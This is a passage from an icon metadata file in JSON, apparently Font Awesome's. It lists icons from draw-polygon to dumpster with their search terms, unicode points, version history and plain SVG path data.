        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M352 124.5l-51.9-13c-6.5-1.6-11.3-7.1-12-13.8s2.8-13.1 8.7-16.1l40.8-20.4L294.4 28.8c-5.5-4.1-7.8-11.3-5.6-17.9S297.1 0 304 0H416h32 16c30.2 0 58.7 14.2 76.8 38.4l57.6 76.8c6.2 8.3 9.6 18.4 9.6 28.8c0 26.5-21.5 48-48 48H538.5c-17 0-33.3-6.7-45.3-18.7L480 160H448v21.5c0 24.8 12.8 47.9 33.8 61.1l106.6 66.6c32.1 20.1 51.6 55.2 51.6 93.1C640 462.9 590.9 512 530.2 512H496 432 32.3c-3.3 0-6.6-.4-9.6-1.4C13.5 507.8 6 501 2.4 492.1C1 488.7 .2 485.2 0 481.4c-.2-3.7 .3-7.3 1.3-10.7c2.8-9.2 9.6-16.7 18.6-20.4c3-1.2 6.2-2 9.5-2.2L433.3 412c8.3-.7 14.7-7.7 14.7-16.1c0-4.3-1.7-8.4-4.7-11.4l-44.4-44.4c-30-30-46.9-70.7-46.9-113.1V181.5v-57zM512 72.3c0-.1 0-.2 0-.3s0-.2 0-.3v.6zm-1.3 7.4L464.3 68.1c-.2 1.3-.3 2.6-.3 3.9c0 13.3 10.7 24 24 24c10.6 0 19.5-6.8 22.7-16.3zM130.9 116.5c16.3-14.5 40.4-16.2 58.5-4.1l130.6 87V227c0 32.8 8.4 64.8 24 93H112c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7L171 232.3 18.4 255.8c-7 1.1-13.9-2.6-16.9-9s-1.5-14.1 3.8-18.8L130.9 116.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M352 124.5l-51.9-13c-6.5-1.6-11.3-7.1-12-13.8s2.8-13.1 8.7-16.1l40.8-20.4L294.4 28.8c-5.5-4.1-7.8-11.3-5.6-17.9S297.1 0 304 0H416h32 16c30.2 0 58.7 14.2 76.8 38.4l57.6 76.8c6.2 8.3 9.6 18.4 9.6 28.8c0 26.5-21.5 48-48 48H538.5c-17 0-33.3-6.7-45.3-18.7L480 160H448v21.5c0 24.8 12.8 47.9 33.8 61.1l106.6 66.6c32.1 20.1 51.6 55.2 51.6 93.1C640 462.9 590.9 512 530.2 512H496 432 32.3c-3.3 0-6.6-.4-9.6-1.4C13.5 507.8 6 501 2.4 492.1C1 488.7 .2 485.2 0 481.4c-.2-3.7 .3-7.3 1.3-10.7c2.8-9.2 9.6-16.7 18.6-20.4c3-1.2 6.2-2 9.5-2.2L433.3 412c8.3-.7 14.7-7.7 14.7-16.1c0-4.3-1.7-8.4-4.7-11.4l-44.4-44.4c-30-30-46.9-70.7-46.9-113.1V181.5v-57zM512 72.3c0-.1 0-.2 0-.3s0-.2 0-.3v.6zm-1.3 7.4L464.3 68.1c-.2 1.3-.3 2.6-.3 3.9c0 13.3 10.7 24 24 24c10.6 0 19.5-6.8 22.7-16.3zM130.9 116.5c16.3-14.5 40.4-16.2 58.5-4.1l130.6 87V227c0 32.8 8.4 64.8 24 93H112c-6.7 0-12.7-4.2-15-10.4s-.5-13.3 4.6-17.7L171 232.3 18.4 255.8c-7 1.1-13.9-2.6-16.9-9s-1.5-14.1 3.8-18.8L130.9 116.5z"
      }
    },
    "free": ["solid"]
  },
  "draw-polygon": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5ee"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["anchors", "lines", "object", "render", "shape"]
    },
    "styles": ["solid"],
    "unicode": "f5ee",
    "label": "Draw Polygon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 151.4V360.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c0-.1 .1-.2 .1-.3l-4.5-7.9-32-56 0 0c-1.4 .1-2.8 .1-4.2 .1c-35.3 0-64-28.7-64-64s28.7-64 64-64c1.4 0 2.8 0 4.2 .1l0 0 32-56 4.5-7.9-.1-.3H119.4c-5.6 9.7-13.7 17.8-23.4 23.4zM384.3 352c35.2 .2 63.7 28.7 63.7 64c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V151.4C12.9 140.4 0 119.7 0 96C0 60.7 28.7 32 64 32c23.7 0 44.4 12.9 55.4 32H328.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 35.3-28.5 63.8-63.7 64l-4.5 7.9-32 56-2.3 4c4.2 8.5 6.5 18 6.5 28.1s-2.3 19.6-6.5 28.1l2.3 4 32 56 4.5 7.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 151.4V360.6c9.7 5.6 17.8 13.7 23.4 23.4H328.6c0-.1 .1-.2 .1-.3l-4.5-7.9-32-56 0 0c-1.4 .1-2.8 .1-4.2 .1c-35.3 0-64-28.7-64-64s28.7-64 64-64c1.4 0 2.8 0 4.2 .1l0 0 32-56 4.5-7.9-.1-.3H119.4c-5.6 9.7-13.7 17.8-23.4 23.4zM384.3 352c35.2 .2 63.7 28.7 63.7 64c0 35.3-28.7 64-64 64c-23.7 0-44.4-12.9-55.4-32H119.4c-11.1 19.1-31.7 32-55.4 32c-35.3 0-64-28.7-64-64c0-23.7 12.9-44.4 32-55.4V151.4C12.9 140.4 0 119.7 0 96C0 60.7 28.7 32 64 32c23.7 0 44.4 12.9 55.4 32H328.6c11.1-19.1 31.7-32 55.4-32c35.3 0 64 28.7 64 64c0 35.3-28.5 63.8-63.7 64l-4.5 7.9-32 56-2.3 4c4.2 8.5 6.5 18 6.5 28.1s-2.3 19.6-6.5 28.1l2.3 4 32 56 4.5 7.9z"
      }
    },
    "free": ["solid"]
  },
  "dribbble": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f17d",
    "label": "Dribbble",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 8C119.252 8 8 119.252 8 256s111.252 248 248 248 248-111.252 248-248S392.748 8 256 8zm163.97 114.366c29.503 36.046 47.369 81.957 47.835 131.955-6.984-1.477-77.018-15.682-147.502-6.818-5.752-14.041-11.181-26.393-18.617-41.614 78.321-31.977 113.818-77.482 118.284-83.523zM396.421 97.87c-3.81 5.427-35.697 48.286-111.021 76.519-34.712-63.776-73.185-116.168-79.04-124.008 67.176-16.193 137.966 1.27 190.061 47.489zm-230.48-33.25c5.585 7.659 43.438 60.116 78.537 122.509-99.087 26.313-186.36 25.934-195.834 25.809C62.38 147.205 106.678 92.573 165.941 64.62zM44.17 256.323c0-2.166.043-4.322.108-6.473 9.268.19 111.92 1.513 217.706-30.146 6.064 11.868 11.857 23.915 17.174 35.949-76.599 21.575-146.194 83.527-180.531 142.306C64.794 360.405 44.17 310.73 44.17 256.323zm81.807 167.113c22.127-45.233 82.178-103.622 167.579-132.756 29.74 77.283 42.039 142.053 45.189 160.638-68.112 29.013-150.015 21.053-212.768-27.882zm248.38 8.489c-2.171-12.886-13.446-74.897-41.152-151.033 66.38-10.626 124.7 6.768 131.947 9.055-9.442 58.941-43.273 109.844-90.795 141.978z"
      }
    },
    "free": ["brands"]
  },
  "dropbox": {
    "changes": ["3.2.0", "5.0.0", "5.0.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f16b",
    "label": "Dropbox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 528 512\"><path d=\"M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z\"/></svg>",
        "viewBox": [0, 0, 528, 512],
        "width": 528,
        "height": 512,
        "path": "M264.4 116.3l-132 84.3 132 84.3-132 84.3L0 284.1l132.3-84.3L0 116.3 132.3 32l132.1 84.3zM131.6 395.7l132-84.3 132 84.3-132 84.3-132-84.3zm132.8-111.6l132-84.3-132-83.6L395.7 32 528 116.3l-132.3 84.3L528 284.8l-132.3 84.3-131.3-85z"
      }
    },
    "free": ["brands"]
  },
  "droplet": {
    "aliases": {
      "names": ["tint"],
      "unicodes": {
        "composite": ["1f4a7"],
        "secondary": ["10f043"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "color",
        "comic",
        "drop",
        "droplet",
        "raindrop",
        "sweat",
        "waterdrop"
      ]
    },
    "styles": ["solid"],
    "unicode": "f043",
    "label": "Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 512C86 512 0 426 0 320C0 228.8 130.2 57.7 166.6 11.7C172.6 4.2 181.5 0 191.1 0h1.8c9.6 0 18.5 4.2 24.5 11.7C253.8 57.7 384 228.8 384 320c0 106-86 192-192 192zM96 336c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 61.9 50.1 112 112 112c8.8 0 16-7.2 16-16s-7.2-16-16-16c-44.2 0-80-35.8-80-80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 512C86 512 0 426 0 320C0 228.8 130.2 57.7 166.6 11.7C172.6 4.2 181.5 0 191.1 0h1.8c9.6 0 18.5 4.2 24.5 11.7C253.8 57.7 384 228.8 384 320c0 106-86 192-192 192zM96 336c0-8.8-7.2-16-16-16s-16 7.2-16 16c0 61.9 50.1 112 112 112c8.8 0 16-7.2 16-16s-7.2-16-16-16c-44.2 0-80-35.8-80-80z"
      }
    },
    "free": ["solid"]
  },
  "droplet-slash": {
    "aliases": {
      "names": ["tint-slash"],
      "unicodes": {
        "secondary": ["10f5c7"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["color", "drop", "droplet", "raindrop", "waterdrop"]
    },
    "styles": ["solid"],
    "unicode": "f5c7",
    "label": "Droplet Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 512c53.2 0 101.4-21.6 136.1-56.6l-298.3-235C140 257.1 128 292.3 128 320c0 106 86 192 192 192zM505.2 370.7c4.4-16.1 6.8-33.1 6.8-50.7c0-91.2-130.2-262.3-166.6-308.3C339.4 4.2 330.5 0 320.9 0h-1.8c-9.6 0-18.5 4.2-24.5 11.7C277.8 33 240.7 81.3 205.8 136L38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L505.2 370.7zM224 336c0 44.2 35.8 80 80 80c8.8 0 16 7.2 16 16s-7.2 16-16 16c-61.9 0-112-50.1-112-112c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 512c53.2 0 101.4-21.6 136.1-56.6l-298.3-235C140 257.1 128 292.3 128 320c0 106 86 192 192 192zM505.2 370.7c4.4-16.1 6.8-33.1 6.8-50.7c0-91.2-130.2-262.3-166.6-308.3C339.4 4.2 330.5 0 320.9 0h-1.8c-9.6 0-18.5 4.2-24.5 11.7C277.8 33 240.7 81.3 205.8 136L38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L505.2 370.7zM224 336c0 44.2 35.8 80 80 80c8.8 0 16 7.2 16 16s-7.2 16-16 16c-61.9 0-112-50.1-112-112c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "drum": {
    "aliases": {
      "unicodes": {
        "composite": ["1f941"],
        "secondary": ["10f569"]
      }
    },
    "changes": ["5.1.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "drum",
        "drumsticks",
        "instrument",
        "music",
        "percussion",
        "snare",
        "sound"
      ]
    },
    "styles": ["solid"],
    "unicode": "f569",
    "label": "Drum",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M501.2 76.1c11.1-7.3 14.2-22.1 6.9-33.2s-22.1-14.2-33.2-6.9L370.2 104.5C335.8 98.7 297 96 256 96C114.6 96 0 128 0 208V368c0 31.3 27.4 58.8 72 78.7V344c0-13.3 10.7-24 24-24s24 10.7 24 24V463.4c33 8.9 71.1 14.5 112 16.1V376c0-13.3 10.7-24 24-24s24 10.7 24 24V479.5c40.9-1.6 79-7.2 112-16.1V344c0-13.3 10.7-24 24-24s24 10.7 24 24V446.7c44.6-19.9 72-47.4 72-78.7V208c0-41.1-30.2-69.5-78.8-87.4l67.9-44.5zM307.4 145.6l-64.6 42.3c-11.1 7.3-14.2 22.1-6.9 33.2s22.1 14.2 33.2 6.9l111.1-72.8c14.7 3.2 27.9 7 39.4 11.5C458.4 181.8 464 197.4 464 208c0 .8-2.7 17.2-46 35.9C379.1 260.7 322 272 256 272s-123.1-11.3-162-28.1C50.7 225.2 48 208.8 48 208c0-10.6 5.6-26.2 44.4-41.3C130.6 151.9 187.8 144 256 144c18 0 35.1 .5 51.4 1.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M501.2 76.1c11.1-7.3 14.2-22.1 6.9-33.2s-22.1-14.2-33.2-6.9L370.2 104.5C335.8 98.7 297 96 256 96C114.6 96 0 128 0 208V368c0 31.3 27.4 58.8 72 78.7V344c0-13.3 10.7-24 24-24s24 10.7 24 24V463.4c33 8.9 71.1 14.5 112 16.1V376c0-13.3 10.7-24 24-24s24 10.7 24 24V479.5c40.9-1.6 79-7.2 112-16.1V344c0-13.3 10.7-24 24-24s24 10.7 24 24V446.7c44.6-19.9 72-47.4 72-78.7V208c0-41.1-30.2-69.5-78.8-87.4l67.9-44.5zM307.4 145.6l-64.6 42.3c-11.1 7.3-14.2 22.1-6.9 33.2s22.1 14.2 33.2 6.9l111.1-72.8c14.7 3.2 27.9 7 39.4 11.5C458.4 181.8 464 197.4 464 208c0 .8-2.7 17.2-46 35.9C379.1 260.7 322 272 256 272s-123.1-11.3-162-28.1C50.7 225.2 48 208.8 48 208c0-10.6 5.6-26.2 44.4-41.3C130.6 151.9 187.8 144 256 144c18 0 35.1 .5 51.4 1.6z"
      }
    },
    "free": ["solid"]
  },
  "drum-steelpan": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f56a"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "calypso",
        "instrument",
        "music",
        "percussion",
        "reggae",
        "snare",
        "sound",
        "steel",
        "tropical"
      ]
    },
    "styles": ["solid"],
    "unicode": "f56a",
    "label": "Drum Steelpan",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32c159.1 0 288 48 288 128V352c0 80-128.9 128-288 128S0 432 0 352V160C0 80 128.9 32 288 32zM528 160c0-9.9-8-29.9-55-49.8c-18.6-7.9-40.9-14.4-66-19.4l-27.8 43.6c-7.3 11.5-11.2 24.8-11.2 38.4c0 17.5 6.4 34.4 18.1 47.5l9.8 11c29.8-5.2 55.9-12.5 77.2-21.5c47.1-19.9 55-39.9 55-49.8zM349.2 237.3c-8-26.2-32.4-45.3-61.2-45.3s-53.3 19.1-61.2 45.3c19.4 1.7 39.9 2.7 61.2 2.7s41.8-.9 61.2-2.7zM169 90.8c-25.2 5-47.4 11.6-66 19.4C56 130.1 48 150.1 48 160s8 29.9 55 49.8c21.3 9 47.4 16.3 77.2 21.5l9.8-11c11.6-13.1 18.1-30 18.1-47.5c0-13.6-3.9-26.9-11.2-38.4L169 90.8zm56.3-8C224.5 87 224 91.5 224 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-4.5-.5-9-1.4-13.2C330.8 81 309.8 80 288 80s-42.8 1-62.6 2.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 32c159.1 0 288 48 288 128V352c0 80-128.9 128-288 128S0 432 0 352V160C0 80 128.9 32 288 32zM528 160c0-9.9-8-29.9-55-49.8c-18.6-7.9-40.9-14.4-66-19.4l-27.8 43.6c-7.3 11.5-11.2 24.8-11.2 38.4c0 17.5 6.4 34.4 18.1 47.5l9.8 11c29.8-5.2 55.9-12.5 77.2-21.5c47.1-19.9 55-39.9 55-49.8zM349.2 237.3c-8-26.2-32.4-45.3-61.2-45.3s-53.3 19.1-61.2 45.3c19.4 1.7 39.9 2.7 61.2 2.7s41.8-.9 61.2-2.7zM169 90.8c-25.2 5-47.4 11.6-66 19.4C56 130.1 48 150.1 48 160s8 29.9 55 49.8c21.3 9 47.4 16.3 77.2 21.5l9.8-11c11.6-13.1 18.1-30 18.1-47.5c0-13.6-3.9-26.9-11.2-38.4L169 90.8zm56.3-8C224.5 87 224 91.5 224 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-4.5-.5-9-1.4-13.2C330.8 81 309.8 80 288 80s-42.8 1-62.6 2.8z"
      }
    },
    "free": ["solid"]
  },
  "drumstick-bite": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6d7"]
      }
    },
    "changes": ["5.4.0", "5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bone", "chicken", "leg", "meat", "poultry", "turkey"]
    },
    "styles": ["solid"],
    "unicode": "f6d7",
    "label": "Drumstick Bite",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 265.2c0 8.5-3.4 16.6-9.4 22.6l-26.8 26.8c-12.3 12.3-32.5 11.4-49.4 7.2C69.8 320.6 65 320 60 320c-33.1 0-60 26.9-60 60s26.9 60 60 60c6.3 0 12 5.7 12 12c0 33.1 26.9 60 60 60s60-26.9 60-60c0-5-.6-9.8-1.8-14.5c-4.2-16.9-5.2-37.1 7.2-49.4l26.8-26.8c6-6 14.1-9.4 22.6-9.4H336c6.3 0 12.4-.3 18.5-1c11.9-1.2 16.4-15.5 10.8-26c-8.5-15.8-13.3-33.8-13.3-53c0-61.9 50.1-112 112-112c8 0 15.7 .8 23.2 2.4c11.7 2.5 24.1-5.9 22-17.6C494.5 62.5 422.5 0 336 0C238.8 0 160 78.8 160 176v89.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 265.2c0 8.5-3.4 16.6-9.4 22.6l-26.8 26.8c-12.3 12.3-32.5 11.4-49.4 7.2C69.8 320.6 65 320 60 320c-33.1 0-60 26.9-60 60s26.9 60 60 60c6.3 0 12 5.7 12 12c0 33.1 26.9 60 60 60s60-26.9 60-60c0-5-.6-9.8-1.8-14.5c-4.2-16.9-5.2-37.1 7.2-49.4l26.8-26.8c6-6 14.1-9.4 22.6-9.4H336c6.3 0 12.4-.3 18.5-1c11.9-1.2 16.4-15.5 10.8-26c-8.5-15.8-13.3-33.8-13.3-53c0-61.9 50.1-112 112-112c8 0 15.7 .8 23.2 2.4c11.7 2.5 24.1-5.9 22-17.6C494.5 62.5 422.5 0 336 0C238.8 0 160 78.8 160 176v89.2z"
      }
    },
    "free": ["solid"]
  },
  "drupal": {
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a9",
    "label": "Drupal Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M303.973,108.136C268.2,72.459,234.187,38.35,224.047,0c-9.957,38.35-44.25,72.459-80.019,108.136C90.467,161.7,29.716,222.356,29.716,313.436c-2.337,107.3,82.752,196.18,190.053,198.517S415.948,429.2,418.285,321.9q.091-4.231,0-8.464C418.285,222.356,357.534,161.7,303.973,108.136Zm-174.326,223a130.282,130.282,0,0,0-15.211,24.153,4.978,4.978,0,0,1-3.319,2.766h-1.659c-4.333,0-9.219-8.481-9.219-8.481h0c-1.29-2.028-2.489-4.149-3.687-6.361l-.83-1.752c-11.247-25.72-1.475-62.318-1.475-62.318h0a160.585,160.585,0,0,1,23.231-49.873A290.8,290.8,0,0,1,138.5,201.613l9.219,9.219,43.512,44.434a4.979,4.979,0,0,1,0,6.638L145.78,312.33h0Zm96.612,127.311a67.2,67.2,0,0,1-49.781-111.915c14.2-16.871,31.528-33.464,50.334-55.313,22.309,23.785,36.875,40.1,51.164,57.986a28.413,28.413,0,0,1,2.95,4.425,65.905,65.905,0,0,1,11.984,37.981,66.651,66.651,0,0,1-66.466,66.836ZM352.371,351.6h0a7.743,7.743,0,0,1-6.176,5.347H344.9a11.249,11.249,0,0,1-6.269-5.07h0a348.21,348.21,0,0,0-39.456-48.952L281.387,284.49,222.3,223.185a497.888,497.888,0,0,1-35.4-36.322,12.033,12.033,0,0,0-.922-1.382,35.4,35.4,0,0,1-4.7-9.219V174.51a31.346,31.346,0,0,1,9.218-27.656c11.432-11.431,22.955-22.954,33.833-34.939,11.984,13.275,24.8,26,37.428,38.627h0a530.991,530.991,0,0,1,69.6,79.1,147.494,147.494,0,0,1,27.011,83.8A134.109,134.109,0,0,1,352.371,351.6Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M303.973,108.136C268.2,72.459,234.187,38.35,224.047,0c-9.957,38.35-44.25,72.459-80.019,108.136C90.467,161.7,29.716,222.356,29.716,313.436c-2.337,107.3,82.752,196.18,190.053,198.517S415.948,429.2,418.285,321.9q.091-4.231,0-8.464C418.285,222.356,357.534,161.7,303.973,108.136Zm-174.326,223a130.282,130.282,0,0,0-15.211,24.153,4.978,4.978,0,0,1-3.319,2.766h-1.659c-4.333,0-9.219-8.481-9.219-8.481h0c-1.29-2.028-2.489-4.149-3.687-6.361l-.83-1.752c-11.247-25.72-1.475-62.318-1.475-62.318h0a160.585,160.585,0,0,1,23.231-49.873A290.8,290.8,0,0,1,138.5,201.613l9.219,9.219,43.512,44.434a4.979,4.979,0,0,1,0,6.638L145.78,312.33h0Zm96.612,127.311a67.2,67.2,0,0,1-49.781-111.915c14.2-16.871,31.528-33.464,50.334-55.313,22.309,23.785,36.875,40.1,51.164,57.986a28.413,28.413,0,0,1,2.95,4.425,65.905,65.905,0,0,1,11.984,37.981,66.651,66.651,0,0,1-66.466,66.836ZM352.371,351.6h0a7.743,7.743,0,0,1-6.176,5.347H344.9a11.249,11.249,0,0,1-6.269-5.07h0a348.21,348.21,0,0,0-39.456-48.952L281.387,284.49,222.3,223.185a497.888,497.888,0,0,1-35.4-36.322,12.033,12.033,0,0,0-.922-1.382,35.4,35.4,0,0,1-4.7-9.219V174.51a31.346,31.346,0,0,1,9.218-27.656c11.432-11.431,22.955-22.954,33.833-34.939,11.984,13.275,24.8,26,37.428,38.627h0a530.991,530.991,0,0,1,69.6,79.1,147.494,147.494,0,0,1,27.011,83.8A134.109,134.109,0,0,1,352.371,351.6Z"
      }
    },
    "free": ["brands"]
  },
  "dumbbell": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f44b"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exercise", "gym", "strength", "weight", "weight-lifting"]
    },
    "styles": ["solid"],
    "unicode": "f44b",
    "label": "Dumbbell",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V224v64V448c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V384H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H96V64zm448 0v64h32c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32v64c0 17.7-14.3 32-32 32H544v64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V288 224 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32zM416 224v64H224V224H416z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V224v64V448c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V384H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H96V64zm448 0v64h32c17.7 0 32 14.3 32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32v64c0 17.7-14.3 32-32 32H544v64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V288 224 64c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32zM416 224v64H224V224H416z"
      }
    },
    "free": ["solid"]
  },
  "dumpster": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f793"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alley", "bin", "commercial", "trash", "waste"]
    },
    "styles": ["solid"],
    "unicode": "f793",
    "label": "Dumpster",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M49.7 32c-10.5 0-19.8 6.9-22.9 16.9L.9 133c-.6 2-.9 4.1-.9 6.1C0 150.7 9.3 160 20.9 160h94L140.5 32H49.7zM272 160V32H173.1L147.5 160H272zm32 0H428.5L402.9 32H304V160zm157.1 0h94c11.5 0 20.9-9.3 20.9-20.9c0-2.1-.3-4.1-.9-6.1L549.2 48.9C546.1 38.9 536.8 32 526.3 32H435.5l25.6 128zM32 192l4 32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H44L64 448c0 17.7 14.3 32 32 32s32-14.3 32-32H448c0 17.7 14.3 32 32 32s32-14.3 32-32l20-160h12c17.7 0 32-14.3 32-32s-14.3-32-32-32h-4l4-32H32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
